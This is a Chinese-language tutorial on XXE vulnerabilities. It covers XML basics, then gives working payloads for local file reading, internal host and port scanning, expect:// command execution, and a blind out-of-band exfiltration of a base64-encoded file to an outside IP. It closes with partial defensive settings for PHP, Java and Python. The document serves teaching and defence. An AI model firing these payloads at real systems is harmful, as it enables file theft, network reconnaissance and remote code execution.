什么是xxe漏洞
什么是xml
可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 可扩展性良好,内容与形式分离,遵循严格的语法要求,保值性良好等优点。
xml的格式
1、必须有声明语句。
XML声明是XML文档的第一句,其格式如下:
<?xml version="1.0" encoding="utf-8"?>
2、注意大小写
在XML文档中,大小写是有区别的。“A”和“a”是不同的标记。注意在写元素时,前后标记的大小写要保持一致。最好养成一种习惯,或者全部大写,或者全部小写,或者大写第一个字母,这样可以减少因为大小写不匹配而产生的文档错误。
3、XML文档有且只有一个根元素
良好格式的XML文档必须有一个根元素,就是紧接着声明后面建立的第一个元素,其他元素都是这个根元素的子元素,根元素完全包括文档中其他所有的元素。根元素的起始标记要放在所有其他元素的起始标记之前;根元素的结束标记要放在所有其他元素的结束标记之后。
4、属性值使用引号
在HTML代码里面,属性值可以加引号,也可以不加。但是XML规定,所有属性值必须加引号(可以是单引号,也可以是双引号,建议使用双引号),否则将被视为错误。
5、所有的标记必须有相应的结束标记
在HTML中,标记可以不成对出现,而在XML中,所有标记必须成对出现,有一个开始标记,就必须有一个结束标记,否则将被视为错误。
6、所有的空标记也必须被关闭
空标记是指标记对之间没有内容的标记,比如“”等标记。在XML中,规定所有的标记必须有结束标记。
XML配置实例:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="osg.AndroidExample"
android:installLocation="preferExternal"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:targetSdkVersion="8" android:minSdkVersion="8"></uses-sdk>
<uses-feature android:glEsVersion="0x00020000"/> <!-- OpenGL min requierements (2.0) -->
<uses-permission android:name="android.permission.INTERNET"/>
<application android:label="@string/app_name" android:icon="@drawable/osg">
<activity android:name=".osgViewer"
android:label="@string/app_name" android:screenOrientation="landscape"> <!-- Force screen to landscape -->
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
xml文件结构
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
XXE实战
1.文件读取
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///C://1.txt">]>
<core id ="test101">
<x>&f;</x>------XML部分
</core>
2.内网主机扫描
利用协议和ip地址最后一位字典遍历,结合Brup爆破返回数据包长度判断
<?xml version = "1.0"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1">]>----DTD部分
<core id ="test101">
<description>&xxe;</description>------XML部分
</core>
3.端口探测
代码将尝试于端口8080通信,根据响应事件/长度攻击者可以判断该端口是否被开启
<?xml version = "1.0"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">]>----DTD部分
<core id ="test101">
<description>&xxe;</description>------XML部分
</core>
4.远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,主要是由于配置不当/开发内部应用导致的,且PHP的expect模块被加载到了易受攻击的系统或处理XML的内部应用上,那么我们就可以执行如下命令
<?xml version = "1.0"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "expect://id">]>----DTD部分
<core id ="test101">
<description>&xxe;</description>------XML部分
</core>
5.无回显xxe
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?
p=%file;'>">
这两句代码的意思是通过base64编码的方式读取文件内容,然后通过请求目标主机的ip地址加上一个不存在
的路径或者参数数据,让它报错,%file就是用上面第一句获取到的数据
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

XXE漏洞修复与防御
1.使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);
python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.提高版本